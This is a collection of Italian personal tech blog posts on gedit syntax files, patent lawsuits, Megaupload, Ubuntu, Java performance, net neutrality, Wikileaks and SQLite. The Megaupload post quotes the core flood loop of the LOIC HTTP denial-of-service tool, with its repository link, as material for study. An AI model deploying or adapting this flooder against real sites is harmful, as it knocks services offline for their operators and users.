sabato 12 gennaio 2013

Maude and gEdit: syntax hightlight

Scrivendo la mia tesi specialistica, di cui sicuramente avrò modo di parlare anche qui più avanti (in particolare quando sarà ad un punto stabile e coerente) ho dovuto analizzare e scrivere file scritti in un linguaggio di rewrite logic chiamato maude.

Per chi fosse curioso esiste un pacchetto già pronto da scaricare su ubuntu: sudo apt-get install maude per tutti gli altri c'è il tar.gz a questo indirizzo. Purtroppo gedit non supporta da solo questo linguaggio quindi vi lascio il primo draft del syntax highlight. Per installarlo bisogna scaricare i due file
maude.lang
maude.xml

maude.lang va posizionato all'interno della cartella:
"~/.local/share/gtksourceview3.0/language-specs"

maude.xml va posizionato all'interno della cartella:
"~/.local/share/mime/packages"

A questo punto bisogna posizionarsi sulla cartella ~/.local/share con un terminale e dare il comando
"update-mime-database mime"

Questi due file sono una prima versione che aggiornerò sicuramente più avanti per dare una colorazione agli statement più usati.

Ogni consiglio è gradito ;)

mercoledì 19 settembre 2012

Samsung e Apple vs il resto del mondo

Cerchiamo di guardare a quello che è stato il processo più importante degli ultimi anni con un occhio critico. Gli articoli che hanno parlato della notizia su internet e sulla carta stampata sono stati molti e hanno analizzato l'intera faccenda sia dal punto di vista di apple sia dal punto di vista di samsung.
Nessuno però ad oggi si è fermato ad osservare questo processo dal punto di vista dei consumatori. La causa che apple ha mosso a samsung riguarda dei presunti brevetti violati ci riguardano non solo caratteristiche del software presente dentro i terminali ma delle caratteristiche estetiche del telefonino. Dal punto di vista del consumatore questo tipo di causa fa capire come le aziende considerino le persone semplicemente degli animali da acquisto, incapaci di documentarsi sulle varie caratteristiche dei prodotti, e di distinguere una cosa da un'altra.
Il mercato degli smartphone non è più quello di 5 anni fa nel quale iphone dominava incontrastato e introduceva una delle novità importanti dal punto di vista della telefonia mobile degli ultimi 10 anni. Terminali che sono in grado di fare tutto ciò che ha sempre saputo fare meglio iPhone  ne sono usciti moltissimi. I complimenti vanno fatti a apple che con un solo modello per i il proprio sistema operativo riesce a controllare un 50 per cento del mercato. Tuttavia i consumatori non solo riescono a distinguere la differenza che intercorre fra un telefonino iPhone è un qualsiasi terminale android, ma sono in grado anche di scegliere fra diversi tipi di terminali android.
Il secondo punto che volevo analizzare riguarda quella che io considero una presa in giro dei consumatori da parte di apple e samsung messe insieme. Queste cause miliardarie non solo nuocciono a chi le perderà, ma coinvolgono anche gli altri competitor sul mercato e i consumatori. I primi dovranno stare attenti a non violare alcun brevetto, oppure regolarizzare la propria posizione, per non incorrere in cause analoghe.
I secondi ovviamente vedranno un aumento dei prezzi generale dovuto alla mancanza di concorrenza sul mercato.

Voglio spendere ancora due parole su quello che considero un regolamento scandaloso. Mi rivolgo al sistema di brevettazione delle idee e del software che ancora oggi è in vigore negli stati uniti d'america.

martedì 24 gennaio 2012

Megaupload e la solita storia

Quando succede qualcosa come la chiusura di megaupload non ci si può limitare a guardare il dito.

È stato chiuso un sito di hosting, forse uno dei migliori, perchè le persone caricavano e condividevano file coperti dal diritto d'autore. Oramai il mio punto di vista è chiaro su questi argomenti. Tutte le volte le autorità ci cascano e si accaniscono sui mezzi. Con lo stesso principio potrebbero essere rimosse dal mercato le automobili visto che, se guidate da persone ubriache o drogate, possono causare danni e morti.

Dall'altra parte voglio leggere la reazione di Anonymous come una difesa del diritto di utilizzare un servizio cloud. Arriviamo dunque al punto di quest'articolo: Tool used in Anonymous Megaupload campaign.
Il tool di cui parla l'articolo è un flooder scritto in C# che può essere clonato da git://github.com/NewEraCracker/LOIC.git. Vi post qua sotto la parte principale nella quale si vede come si sviluppa il flood. Niente di complicato.
Ottima la richiesta http completamente configurabile che viene inserito nel buffer in uscita dalla prima riga.
byte[] buf = System.Text.Encoding.ASCII.GetBytes(String.Format("GET {0}{1} HTTP/1.1{5}Host: {3}{5}User-Agent: {2}{5}Accept: */*{5}{4}{5}{5}", Subsite, (AllowRandom ? Functions.RandomString() : null), Functions.RandomUserAgent(), Host, (AllowGzip ? "Accept-Encoding: gzip, deflate" + Environment.NewLine : null), Environment.NewLine));
        IPEndPoint RHost = new IPEndPoint(System.Net.IPAddress.Parse(IP), Port);
        while (IsFlooding)
        {
          State = ReqState.Ready; // SET STATE TO READY //
          LastAction = Tick();
          byte[] recvBuf = new byte[64];
          Socket socket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
          State = ReqState.Connecting; // SET STATE TO CONNECTING //

          try { socket.Connect(RHost); }
          catch { continue; }

          socket.Blocking = Resp;
          State = ReqState.Requesting; // SET STATE TO REQUESTING //
          socket.Send(buf, SocketFlags.None);
          State = ReqState.Downloading; Requested++; // SET STATE TO DOWNLOADING // REQUESTED++

          if (Resp)
            socket.Receive(recvBuf, 64, SocketFlags.None);

          State = ReqState.Completed; Downloaded++; // SET STATE TO COMPLETED // DOWNLOADED++
          tTimepoll.Stop();
          tTimepoll.Start();

          if (Delay >= 0)
            System.Threading.Thread.Sleep(Delay+1);


Un'osservazione interessante da fare è la facilità con la quale chiunque può flooddare un sito e contribuire a questo tipo di rappresaglie. Ma ecco anche come viene meno la filosofia iniziale del movimento nel momento in cui all'interno dell'insieme "chiunque" finisce solo chi ha voglia di rompere e trollare. Buona lettura / studio ;)

giovedì 22 settembre 2011

Ubuntu Developer - Un portale tante idee

Inizio questo mio post dopo un'assenza piuttosto lunga dichiarando subito che quanto stiamo per analizzare non è nulla di incredibilmente nuovo. Recentemente ha attirato la mia attenzione un progetto di ubuntu: Ubuntu Developer Portal.

L'idea che sta alla base di questo nuovo progetto targato Canonical non è niente di innovativo: un portale dove raccogliere app. Soprattutto con l'avvento degli smart phone, questo tipo di "magazzini" è diventato di moda.

 Ciò che contraddistingue questa nuova piattaforma, dalla quale sinceramente mi aspetto molto, è la stretta relazione che ha con uno dei sistemi operativi open source più diffusi. In questo momento il sito propone solo un'anteprima di quello che sarà il servizio ma già abbiamo materiale a sufficenza per un'analisi preliminare. Nella pagina "Create" viene pubblicizzato uno strumento che assiste lo sviluppatore novizio nella creazione e distribuzione di un'applicazione per Ubuntu.

Sono venuto così a conoscenza (ammetto di non averlo mai visto prima) di un tool, Quickly, che permette di creare applicazioni in python con interfaccia grafica il tutto dando alcuni comandi da terminale e con una guida in linea piuttosto utile e ben scritta. Il lato negativo di questo abbassamento del livello di difficoltà sarà sencondo me un ancora maggiore moltiplicarsi di applicazioni che hanno il medesimo scopo. Rimane comunque uno strumento a cui dare un'occhiata nel proprio tempo libero.

 La prima perplessità è l'utilizzo del solo launchpad per l'hosting del codice. Una mossa scontata da parte di Canonical, dalla quale avrei però voluto la possibilità di scegliere altri tipi di controllo di versione, fra cui ovviamente GIT. Questo è ancora un punto a favore del portale GitHub.
 La seconda riguarda la pubblicazione di applicazioni a pagamento. Penso di non essere l'unico a sostenere tramite paypal sviluppatori open source e Canonical in primis per il lavoro svolto, ma quest'opera che tende ad assomigliare ad Apple mi lascia un certo amaro in bocca. Le applicazioni, principalmente scritte in python (e non perchè è un linguaggio che mi è simpatico ma perchè lo stesso Quickly lo propone come linguaggio di sviluppo) con il codice sorgente a disposizione su launchpad, potranno sicuramente essere reimpacchettate e distribuite gratuitamente con tutta la disputa che ne uscirà. Dall'altro lato la possibilità di pubblicare direttamente sull'Ubuntu Software Center sarà perfetta per far conoscere applicazioni utilissime che altrimenti sarebbero rimaste nell'ombra.

 Concludendo: questo portale riprende il concetto di application store e lo lega ad Ubuntu. L'idea è ottima ma gradirei non vedere i soliti autogol che si fa Canonical per imitare Apple. ;)

domenica 6 marzo 2011

Cognitive Radio - Uno sguardo approfondito

Volevo sottoporre a tutti quelli che passeranno per questa pagina un argomento interessante che è stato oggetto di una ricerca per un esame universitario: Cognitive Radio Networks.

Ho scritto un veloce paper su che cosa rappresentano le Cognitive Radio per lo sviluppo delle comunicazioni e quali problemi di sicurezza possano portare con se.
Mi piacerebbe che da questa piccola introduzione nascesse un dibattito per approfondire e suggerire eventuali soluzioni.

Link al paper

All'interno del paper si fa anche un costante riferimento al Nokia Reseach che si è occupata di vedere dove è possibile impiegare con successo questa nuova tecnologia.
È possibile anche vedere il video prodotto su YouTube che metto qua sotto per chi fosse interessato.

giovedì 20 gennaio 2011

Java and performance, non è impossibile con gcj

Java è un buon linguaggio. Molto diffuso e ricco di documentazione e librerie.
La Java VM è molto lenta. Molto lenta. Mooooooooolto lenta.
Sono venuto così a contatto con gcj ovvero gcc per Java. Questo compilatore produce un file eseguibile esattamente come per C/C++.

A questo punto viene spontaneo fare un piccolo test di performance. Premetto che il test proposto non ha valenza assoluta.

Compiliamo questa classe.
public class MiaClass
{
public MiaClass()
{
}

public void print()
{
long startTime = System.currentTimeMillis();

callOperationToTime();

long endTime = System.currentTimeMillis();

long totalTime = endTime - startTime;

System.out.println("Time: " + totalTime);
}

private void callOperationToTime()
{
for(int i = 0; i < 10000; i++)
{
System.out.println(" ");
}
}
}

e successivamente richiamiamola da un semplice "main".

public class HelloWorld {

public static void main(String[] args) {
MiaClass c = new MiaClass();
c.print();
}

}


Questo codice compilato con gcj esegue le operazioni in 75ms mentre lanciato con la Java VM i millisecondi salgono a 291.

La mia macchina è un P8400 e Ubuntu 10.04.

domenica 9 gennaio 2011

"Un web ingarbugliato"

Il primo The Economist del 2011 ha al suo interno un articolo molto interessante che si intitola appunto "A tagled web".
Parla della nuova riforma FCC circa la "network neutrality". La network neutrality non riguarda i contenuti della rete ma il mezzo di trasmissione. Negli States è un problema molto sentito anche politicamente per la mancanza di competizione per le offerte di connettività.
Il problema principale è la "pay for priority". Significa che le compagnie potrebbero favorire il traffico di un utente che paga di più rispetto a chi paga una tariffa inferiore. L'articolo descrive la situazione attuale, dopo la riforma, e denuncia come questo problema sia stato elegantemente trascurato. Recita infatti che sono "proibite discriminazioni non ragionevoli" lasciando all'intelligenza dei provider la definizione di "discriminazione ragionevole".

Ciò su cui mi vorrei concentrare però è la situazione italiana e paragonarla a quella statunitense.

Per prima cosa l'articolo dell'Economist mette in rilievo quanto la questione regolamentata dalla FCC sia sentita politicamente e che posizioni tengono i due schieramenti. In Italia il problema della "network neutrality" non è minimamente percepito dalla classe politica. È evidente se si pensa a quanto Telecom sia stata in grado di fare il buono e il cattivo tempo. Chi sta per dire "Fastweb" non lo dica.
Secondo, ma non meno importante, problema è la mancanza di infrastrutture tali da garantire a tutti gli utenti una velocità dignitosa. In alcune zone d'Italia non arriva il segnale ADSL. Questo è solo un reminder perchè il problema è vecchio come internet.

La liberalizzazione delle reti wi-fi nelle piazze è un evento importante ma credo che sia solo un granello dell'immensa spiaggia chiamata "avanzamento tecnologico". Siamo un paese tremendamente indietro anche per quanto riguarda la connettività. Cerchiamo almeno di imparare dagli errori che gli altri stanno facendo con alcuni anni di anticipo rispetto a noi!

giovedì 30 dicembre 2010

Wikileaks a "palle ferme"

Cercherò di esporre il mio punto di vista sulla vicenda Wikileaks ora che tutti si sono un po' calmati.
Ci sono diversi aspetti che mi hanno colpito di questa vicenda.
Il primo è l'accanimento nei confronti di una persona: tale Julian Assange.
Il personaggio che è stato sulla bocca di tutti i politici (anche con pronunce discutibili) è quello raffigurato nella foto accanto con una pettinatura improbabile, oramai domata. Assange è sì il "publisher" di tutto quello che è all'interno del sito Wikileaks ma non è mica il diplomatico americano che si è lasciato sfuggire i documenti pubblicati. In pratica c'è una diga che fa acqua da tutte le parti e viene incolpato il povero contadino che intervistato al telegiornale dice "guardate che fra un po' si rompe tutto". Questo aspetto non deve tenere conto dell'accusa di violenza sessuale che dev'essere discussa in altra sede.
Lo dico subito: secondo me la pubblicazione di questo materiale rientra nella libertà di stampa. Ai posteri l'ardua sentenza.
Il secondo aspetto che mi ha colpito è l'anacronismo delle dichiarazioni dei politici (nessuna smentita sul contenuto, tanto per dire) e dei mezzi atti a contrastare il flusso costante di materiale pubblicato.
Tutti gli stati si sono lanciati in accuse di qua, insulti di là e certe volte deliri. Nessuno però si è reso conto che siamo nel 2010 e che tutta la rete è invasa di informazioni private di tutti. Se nel calderone generale ci finiscono anche i documenti filtrati dalle ambasciate non c'è nulla di cui stupirsi. Il problema, se ce n'è uno a livello informatico, è come sia stato possibile che le politiche di sicurezza statunitensi abbiano lasciato questi enormi buchi e, se ce n'è uno a livello diplomatico, com'è possibile che nessuno prenda le distanze da quanto scritto in questi compromettenti documenti.
Veniamo ora all'aspetto tecnico che più interessa. Come prevedibile non appena è stato bloccato dai dns il nome www.wikileaks.org sono nati una tonnellata di mirror che si rimbalzano le informazioni. Non contiamo ovviamente i servizi p2p ecc. perchè rischiamo di far venire dei mal di testa ai piani alti.
Ovviamente una volta pubblicati su internet i documenti sono stati sottoposti a multipli wget -r per poter essere conservati anche dopo tutte le opere di censura.

Spero veramente che i vertici capiscano che i giorni dei rapporti diplomatici 1.0 sono finiti. Oramai non solo il web ma anche la vita sta diventando 2.0 quindi è bene che tutti i rapporti che si stringono siano trasparenti e privi di giochetti da guerra fredda. Il risultato se no è un sito che colleziona, un hacker che viene incolpato mentre ce ne sono altri 100.000 che continuano a pubblicare e a mantenere viva questa isola di libertà, una marea di cazzate dette da politici disinformati e una brutta figura planetaria.

Regards ;)

domenica 26 settembre 2010

SQLite - Il database da taschino

Avere il supporto di un database all'interno di un'applicazione aiuta ad immagazzinare i dati, a tenerli in ordine ed a consultarli con efficienza.

SQLite (http://www.sqlite.org/) è un database relazionale che sta all'interno delle applicazioni e permette di fare tutto ciò che solitamente richiederebbe una database tradizionale diviso in client e server (leggere MySQL, PostgreeSQL).

Per ora ho provato l'integrazione solo con due linguaggi, C++/Qt4 e Java.

In entrambi i casi i risultati sono stati ottimi e l'integrazione è stata rapidissima.

QT4
Qt4 mette a disposizione una libreria per interagire con il db. Ecco uno stralcio di codice che permette di misurare il tempo di esecuzione di due semplici query.

int main(int argc, char *argv[])
{

QTime t;
t.start();
QSqlDatabase db = QSqlDatabase::addDatabase("QSQLITE");


db.setDatabaseName("qt.db");
db.open();

QSqlQuery * query = new QSqlQuery("insert into T1 values (1,'Insert from program.');",db);

int result = 1;
result = (query->exec()) ? 0 : -1;

query->prepare("SELECT * FROM T1;");
query->exec();

while(query->next())
{
QString line = query->value(0).toString() + ","+query->value(1).toString();
QString deb = "Linea trovata: " + line;
qDebug(deb.toStdString().c_str());

}


int elapsed = t.elapsed();

return elapsed;
}

Facendo girare il programma sul mio laptop il tempo di esecuzione è stato di 3 millisecondi. Un ottimo risultato direi.
Java
Ecco un piccolo esempio di codice Java che fa la stessa cosa.
public static void main(String[] args) throws SQLException {
try {
Class.forName("org.sqlite.JDBC");

Connection conn = DriverManager.getConnection("jdbc:sqlite:test.db");
Statement stat = conn.createStatement();
stat.executeUpdate("insert into T1 values (1,'Insert from program.');");
} catch (ClassNotFoundException ex) {
Logger.getLogger(Main.class.getName()).log(Level.SEVERE, null, ex);
}
}

Con il la parte di codice scritta in Java non ho eseguito dei test di performance ma ha garantito una portabilità incredibile visto che il file .jar contiene al suo interno la libreria per interagire con il database.

Questo è solo un primo articolo che vuole fornire lo spunto a tutti quelli che verranno. Spero di essere stato utile.

Alla prossima.